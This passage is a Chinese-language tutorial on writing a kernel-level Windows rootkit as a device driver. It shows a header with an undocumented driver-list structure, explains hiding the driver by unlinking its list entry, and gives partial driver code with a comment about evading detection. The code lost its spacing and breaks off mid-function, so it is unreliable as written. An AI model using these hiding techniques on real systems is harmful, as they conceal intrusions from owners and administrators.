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Rootkit隐形技术方法

一、综述

本文将引领读者打造一个初级的内核级Rootkit,然后为其引入

两种简单的隐形技术:进程隐形技术和文件隐形技术。同时,为了

让读者获得rootkit编程的相关经验,我们顺便介绍了rootkit的

装载、卸载方法,以及必不可少的测试技术。

本文介绍的Rootkit的主要构件是一个设备驱动程序,所以我们

首先了解一下我们的第一个rootkit。

二、rootkit主体

本节引入一个简单的rootkit实例,它实际上只给出了rootkit

的主体框架,换句话说,就是一个设备驱动程序。那么为什么要用

设备驱动程序作为主体呢?很明显,因为在系统中,设备驱动程序

和操作系统一样,都是程序中的特权阶级——它们运行于Ring0,

有权访问系统中的所有代码和数据。还有一点需要说明的是,因为

本例主要目的在于介绍rootkit是如何隐形的,所以并没有实现后

门之类的具体功能,。

我们将以源代码的形式说明rootkit,对着重介绍一些重要的数

据结构和函数。下面,先给出我们用到的第一个文件,它是一个头

文件,名为Invisible.h,具体如下所示:

//Invisible.h:我们rootkit的头文件

#ifndef_INVISIBLE_H_

#define_INVISIBLE_H_

typedefBOOLEANBOOL;

typedefunsignedlongDWORD;

typedefDWORD*PDWORD;

typedefunsignedlongULONG;

typedefunsignedshortWORD;

typedefunsignedcharBYTE;

typedefstruct_DRIVER_DATA

{

LIST_ENTRYlistEntry;

DWORDunknown1;

DWORDunknown2;

DWORDunknown3;

DWORDunknown4;

DWORDunknown5;

DWORDunknown6;

DWORDunknown7;

UNICODE_STRINGpath;

UNICODE_STRINGname;

}DRIVER_DATA;

#endif

我们知道,应用软件只要简单引用几个文件如stdio.h和

windows.h,就能囊括大量的定义。但这种做法到了驱动程序这里就

行不通了,原因大致有二条,一是驱动程序体积一般较为紧凑,二

是驱动程序用途较为专一,用到的数据类型较少。因此,我们这里

给出了一个头文件Invisible.h,其中定义了一些供我们的rootkit

之用的数据类型。

这里定义的类型中,有一个数据类型要提一下:双字类型,它实

际上是一个无符号长整型。此外,DRIVER_DATA是Windows操作系

统未公开的一个数据结构,其中含有分别指向设备驱动程序目录中

上一个和下一个设备驱动程序的指针。而我们这里开发的rootkit

恰好就是作为设备驱动程序来实现,所以,只要从设备驱动程序目

录中将我们的rootkit(即驱动程序)所对应的目录项去掉,系统

管理程序就看不到它了,从而实现了隐形。

上面介绍了rootkit的头文件,现在开始介绍rootkit的主体部

分,它实际就是一个基本的设备驱动程序,具体代码如下面的

Invisible.c所示:

//Invisible

#includentddk.h

#includeInvisible.h

#includefileManager.h

#includeconfigManager.h

//全局变量

ULONGmajorVersion;

ULONGminorVersion;

//当进行freebuild时,将其注释掉,以防被检测到

VOIDOnUnload(INPDRIVER_OBJECTpDriverObject)

{

DbgPrint(comint16:OnUnloadcalled.);

}

NTSTATUSDriverEntry(INPDRIVER_OBJECTpDriverObjec

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